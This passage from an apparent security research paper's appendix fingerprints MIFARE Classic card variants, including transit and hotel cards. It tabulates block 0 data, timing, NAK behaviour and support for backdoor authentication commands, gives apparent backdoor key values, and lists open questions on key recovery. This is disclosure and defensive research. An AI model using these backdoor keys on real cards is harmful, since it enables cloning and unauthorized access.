• 𝐅𝐃𝐓𝒏𝑻
: The Frame Delay Time between reception of an Authentication command and emission of the 𝑛𝑇  is an interesting

fingerprint. Measurements were done with nfc-laboratory [28], using an Airspy Mini, a SpyVerter and an HydraNFC antenna.
• Backdoor: if backdoor commands 64xx-67xx 6Cxx-6Fxx are supported, with which key(s) can we operate them?
• Read with ACL=: test a READ command after authentication with each of 60xx-6Fxx commands and see which ones are

allowing the read command. We both test an ACL FF0780 that allows keyB to be read, which should prevent keyB to be used
to read data, and an ACL 7F0788 that prevents keyB to be read, enabling its usage to read data. A X indicates when a read is
prevented.

10For all cards supporting extra short-frame commands, we could pass the anticollision but they don’t support further commands and remain silent.
We tested all 1-byte commands “**” and 2-byte commands “**00”.

11This explains why when such cards leak NAKs, they do it always and not with the probability of 1
256 .

Fab and week/year information are provided when available via the Android application “NFC TagInfo by NXP”. UID attribu-
tion as well but also with the support of Infineon SLE 66R35R/I datasheet [29].

Side note: While investigating differences between the 16 possible authentication commands, we noted that all mentioned
cards accept all the authentication commands 60xx-6Fxx, but they vastly differ into their handling of subsequent commands.
For example, for an ACL allowing both keyA and keyB to read data, all FM11RF08 011D, 021D, 031D, FM11RF08S 0390 and 0490,
MF1ICS5005 and some SLE66R35 allow all authentication commands, while FM11RF08 6296, some other SLE66R35, MF1ICS5003
and MF1ICS5004 block data access when authenticated with 62xx, 63xx, 6Axx and 6Bxx, and MF1ICS5006, MF1ICS5007 and
MF1ICS5035 have yet another behavior. And for an ACL that should prevent keyB to read data, the differences are even wider.
We integrated our findings in the table as well and hope it can be useful for future work.
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Sample Block 0

UID attr. 𝐒𝐀𝐊 𝐒𝐀𝐊𝐛𝟎 𝒂𝐒𝐅 𝒂**𝟎𝟎 = 𝐍𝐀𝐊 𝒂{𝒏𝑹|𝒂!𝑹} 𝒂{𝒏𝑹|𝒂𝑹}𝒑! 𝐅𝐃𝐓𝒏𝑻
Backdoor

Read with ACL=7F0788 Read with ACL=FF0780

FM11RF08S 0390 obtained in 2020 A17E4902940804000346D0ADFFB4E390

Infineon 08 08 ∅ 00-4f,70-ef 𝑝(NAK) = 0 𝑎𝑇 1592 A396EFA4E24F

60-6f: .... .... .... .... 60-6f: .... .... .... ....

FM11RF08S 0390 obtained in 2024 4D19F111B408040003DF20D8EA025690

NXP 08 08 ∅ 00-4f,70-ef 𝑝(NAK) = 0 𝑎𝑇 1592 A396EFA4E24F

60-6f: .... .... .... .... 60-6f: .... .... .... ....

FM11RF08S 0490 obtained in 2024 5C467F6306080400040234A21365CA90

NXP 08 08 ∅ 00-4f,70-ef 𝑝(NAK) = 0 𝑎𝑇 1592 A396EFA4E24F

60-6f: .... .... .... .... 60-6f: .... .... .... ....

FM11RF08S-7B12 1090 1D5FA23A0000030010AD776CAF29BE90

Fudan 08 ∅ ∅ 00-4f,70-ef 𝑝(NAK) = 0 𝑎𝑇 1592 A396EFA4E24F

60-6f: .... .... .... .... 60-6f: .... .... .... ....

FM11RF08 6269 BCC31B76120804006263646566676869

NXP 08 08 ∅ 00-4f,52-55,70-ef 𝑝(NAK) = 1 𝑎𝑇 1592 A31667A8CEC1

60-6f: ..XX .... ..XX .... 60-6f: .... .... .... ....

FM11RF08 011D 1E846F738608040001AEFE653E81EB1D

NXP 08 08 ∅ 00-4f,70-ef 𝑝(NAK) = 1 𝑎𝑇 1592 A31667A8CEC1

60-6f: .... .... .... .... 60-6f: .... .... .... ....

FM11RF08 021D D1083C9A7F080400020CA5455DADCD1D

Infineon 08 08 ∅ 00-4f,70-ef 𝑝(NAK) = 1 𝑎𝑇 1592 A31667A8CEC1

60-6f: .... .... .... .... 60-6f: .... .... .... ....

FM11RF08 031D FA59AA151C08040003B7839D62AD611D

NXP 08 08 ∅ 00-4f,70-ef 𝑝(NAK) = 1 𝑎𝑇 1592 A31667A8CEC1

60-6f: .... .... .... .... 60-6f: .... .... .... ....

FM1208-10 CEAA520B3D2804009010150100000000

NXP 28 28 ∅ 00-30,34-4f,70-df,e1-ef 𝑝(NAK) = 1 𝑎𝑇 160813 A31667A8CEC1

60-6f: .... .... .... .... 60-6f: .... .... .... ....
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Sample Block 0

UID attr. 𝐒𝐀𝐊 𝐒𝐀𝐊𝐛𝟎 𝒂𝐒𝐅 𝒂**𝟎𝟎 = 𝐍𝐀𝐊 𝒂{𝒏𝑹|𝒂!𝑹} 𝒂{𝒏𝑹|𝒂𝑹}𝒑! 𝐅𝐃𝐓𝒏𝑻
Backdoor

Read with ACL=7F0788 Read with ACL=FF0780

SLE66R35 Tampere Matkakorttia (FI), rev 43?, 1996? 51270200748804004306599E00032096

Infineon 88 88 0f:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: ..XX .... ..XX .... 60-6f: ..XX .... ..XX ....

SLE66R35 Warszawska Karta Miejska (PL), rev 43?, 2001? 311E99B40288040043328D6800002401

Infineon 88 88 0f:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: ..XX .... ..XX .... 60-6f: ..XX .... ..XX ....

SLE66R35 Hotel card (FR) rev 43?, 2013? 45524D1C46880400432952FE00060713

Infineon 88 88 ∅ 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: ..XX .... ..XX .... 60-6f: ..XX .... ..XX ....

SLE66R35 Kharkov Metro (UA) rev 43?, 2007? 3506877BCF88040043277B1200100607

Infineon 88 88 ∅ 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: .... .... .... .... 60-6f: .... .... .... ....

SLE66R35 Oyster card, London (UK) rev 43?, 2005? 25907331F7880400432595DE00010805

Infineon14 88 88 ∅ 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: .... .... .... .... 60-6f: .... .... .... ....

MF1ICS5003 rev 44?, week 14, 1998 927AB91E4F88040044C2770731343938

NXP 08 88 0e/6c:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: ..XX .... ..XX .... 60-6f: .XXX .... .XXX ....

MF1ICS5003 rev 44?, week 07, 2000 526258325A88040044EE370930373A30

NXP 08 88 0e/6c:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: ..XX .... ..XX .... 60-6f: .XXX .... .XXX ....

MF1ICS5004 rev 45, week 07, 2001 9212FD245988040045889B0430373A31

NXP 08 88 0e/6c:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 A31667A8CEC1

60-6f: ..XX .... ..XX .... 60-6f: .XXX .... .XXX ....

MF1ICS5005 rev 46, Fab ICN8, week 26, 2001 02CB3B9F6D8804004628FA0532363031

NXP 08 88 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: .... .... .... .... 60-6f: .XXX .XXX .XXX .XXX
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Sample Block 0

UID attr. 𝐒𝐀𝐊 𝐒𝐀𝐊𝐛𝟎 𝒂𝐒𝐅 𝒂**𝟎𝟎 = 𝐍𝐀𝐊 𝒂{𝒏𝑹|𝒂!𝑹} 𝒂{𝒏𝑹|𝒂𝑹}𝒑! 𝐅𝐃𝐓𝒏𝑻
Backdoor

Read with ACL=7F0788 Read with ACL=FF0780

MF1ICS5005 rev 46, Fab ICN8, week 10, 2010 63A419E23C88040046BA141849801010

NXP 08 88 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: .... .... .... .... 60-6f: .XXX .XXX .XXX .XXX

MF1ICS2006 rev 47, Fab Fishkill, week 15, 2007 FAF7D39B458904004785141349901507

NXP 09 89 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: ..XX ..XX ..XX ..XX 60-6f: .XXX .XXX .XXX .XXX

MF1ICS5006 rev 47, Fab Fishkill, week 49, 2005 842A35AC3788040047C11E3865004905

NXP 08 88 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: ..XX ..XX ..XX ..XX 60-6f: .XXX .XXX .XXX .XXX

MF1ICS5006 rev 47, Fab Fishkill, week 19, 2008 4A0F1EFCA7880400475D94575D101908

NXP 08 88 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: ..XX ..XX ..XX ..XX 60-6f: .XXX .XXX .XXX .XXX

MF1ICS5007 rev 48, Fab ASMC, week 38, 2010 2D1671AAE0880400488514574D503810

NXP 08 88 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: ..XX ..XX ..XX ..XX 60-6f: .XXX .XXX .XXX .XXX

MF1C5035 rev c0, Fab ICN8, week 06, 2012 168E74739F880400C08F765455800612

NXP 08 88 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: ..XX ..XX ..XX ..XX 60-6f: .XXX .XXX .XXX .XXX

MF1C5035 rev c0, Fab ICN8, week 27, 2012 E4663C348A880400C08E1CD161402712

NXP 08 88 0e:0400 00-4f,70-ff 𝑝(NAK) = 1
256 ∅ 1974 keyA/keyB

60-6f: ..XX ..XX ..XX ..XX 60-6f: .XXX .XXX .XXX .XXX

Table 5: Metrics of various MIFARE Classic cards

12The UID visible in block 0 is rather peculiar. A second sample has the UID 1D7CDE72000003, with the same structure.
13Measurements done on a Proxmark3 and corrected with an offset.
14NFC TagInfo identifies the UID as NXP but Infineon SLE 66R35R/I datasheet [29] indicates that UIDs x5xxxxxx are Infineon, and this matches our

other fingerprinting indicators.



revision 1.0

A.13 Open Questions
Among all the new questions we faced, we tried to answer to as many as possible, but there are a few left unanswered. We
hope the community will help solve some of them in the near future.

A.13.1 Cards with a backdoor key
• Are there other not-yet-mentioned cards supporting one of the 2 backdoor keys, or yet another one?

‣ Looking forward to FM11RF005M, FM11RF08SH, FM11RF32M, FM11RF32N, FM11S08, FM1208M04, FM12AG08M01,
FM12AS04M01, FM1208SH01 but also other manufacturers… Infineon SLE44R35S, SLE66R35I/R/E7, Angstrom КБ5004ХК3,
Quanray QR2217, SHIC SHC1101, SHC1104,…

• Is there a way to write to blocks when authenticated with backdoor authentication commands?
• Is there a way to read keys when authenticated with backdoor authentication commands?

A.13.2 FM11RF08S
• How static encrypted nonces are derived from card and from sector number?

‣ This could speed up key recovery and guarantee it even in absence of backdoor.
• Could initial authentication 𝑛𝑇  following some failed nested authentication – without RF reset – leak some information

about the previous nested 𝑛𝑇 ?
‣ Some cards seem to deviate from the logic described in Section IV.E.1 and need more investigation.

• About its advanced verification and blocks 128-135:
‣ How keyA is derived?
‣ How keyB is derived? The one starting with 0000.
‣ What keyB could be used for?
‣ What these blocks data could be used for?
‣ Is there a way to write to these blocks?

A.13.3 FM11RF08/FM11RF08S
• How the simple verification method signature in block 0 is produced and verified?

A.13.4 Cards with the extra authentification commands:
• Is there a backdoor we missed in the cards using regular keys in all the backdoor commands?
• What are there differences between the extra authentication commands 62xx-6Fxx in terms of access control and features,

in cards with only regular keys as well as in those with the backdoor key?
‣ How they depend on the defined access control?
‣ How cards variants differ?
‣ Are they only artefacts of unspecified cases in the card state-machine or is there really some not yet discovered feature?
‣ We only scratched the surface in Section A.12 table.

A.13.5 USCUID/GDM
• How static encrypted nonces behave in USCUID/GDM cards?

‣ This could enable proper key recovery in case such card disabled the other magic backdoors.
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